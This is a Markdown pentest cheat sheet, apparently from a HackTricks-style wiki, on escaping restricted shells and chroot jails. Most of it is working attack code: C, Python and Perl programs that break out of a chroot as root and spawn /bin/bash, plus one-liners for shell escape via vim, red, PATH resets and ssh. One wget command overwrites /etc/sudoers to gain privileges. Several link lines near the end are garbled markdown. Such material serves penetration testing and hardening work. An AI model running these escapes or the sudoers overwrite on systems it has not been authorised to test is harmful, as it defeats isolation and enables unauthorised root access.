111 lines
2.9 KiB
Markdown
111 lines
2.9 KiB
Markdown
# Escaping from restricted shells - Jails
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## **GTFOBins**
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**Search in** [**https://gtfobins.github.io/**](https://gtfobins.github.io/) **if you can execute any binary with "Shell" property**
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## Chroot limitation
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From [wikipedia](https://en.wikipedia.org/wiki/Chroot#Limitations): The chroot mechanism is **not intended to defend** against intentional tampering by **privileged** \(**root**\) **users**. On most systems, chroot contexts do not stack properly and chrooted programs **with sufficient privileges may perform a second chroot to break out**.
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Therefore, if you are **root** inside a chroot you **can escape** creating **another chroot**. However, in several cases inside the first chroot you won't be able to execute the chroot command, therefore you will need to compile a binary like the following one and run it:
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{% code title="break\_chroot.c" %}
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```c
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#include <sys/stat.h>
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#include <stdlib.h>
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#include <unistd.h>
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//gcc break_chroot.c -o break_chroot
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int main(void)
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{
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mkdir("chroot-dir", 0755);
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chroot("chroot-dir");
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for(int i = 0; i < 1000; i++) {
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chdir("..");
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}
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chroot(".");
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system("/bin/bash");
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}
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```
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{% endcode %}
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Using **python**:
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```python
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#!/usr/bin/python
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import os
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os.mkdir("chroot-dir")
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os.chroot("chroot-dir")
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for i in range(1000):
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os.chdir("..")
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os.chroot(".")
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os.system("/bin/bash")
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```
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Using **perl**:
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```perl
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#!/usr/bin/perl
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mkdir "chroot-dir";
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chroot "chroot-dir";
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foreach my $i (0..1000) {
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chdir ".."
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}
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chroot ".";
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system("/bin/bash");
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```
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## Modify PATH
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Check if you can modify the PATH env variable
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```bash
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echo $PATH #See the path of the executables that you can use
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PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
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echo /home/* #List directory
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```
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## Using vim
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```bash
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:set shell=/bin/sh
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:shell
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```
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## Create script
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Check if you can create an executable file with _/bin/bash_ as content
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```bash
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red /bin/bash
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> w wx/path #Write /bin/bash in a writable and executable path
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```
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## Get bash from SSH
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If you are accessing via ssh you can use this trick to execute a bash shell:
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```bash
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ssh -t user@<IP> bash # Get directly an interactive shell
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```
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## Wget
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You can overwrite for example sudoers file
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```bash
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wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
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```
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## Other tricks
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[**https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/**](https://fireshellsecurity.team/restricted-linux-shell-escaping-techniques/)
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[https://pen-testing.sans.org/blog/2012/0**b**6/06/escaping-restricted-linux-shells](https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells**]%28https://pen-testing.sans.org/blog/2012/06/06/escaping-restricted-linux-shells)
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[https://gtfobins.github.io](https://gtfobins.github.io**]%28https://gtfobins.github.io)
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**It could also be interesting the page:**
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{% page-ref page="../useful-linux-commands/bypass-bash-restrictions.md" %}
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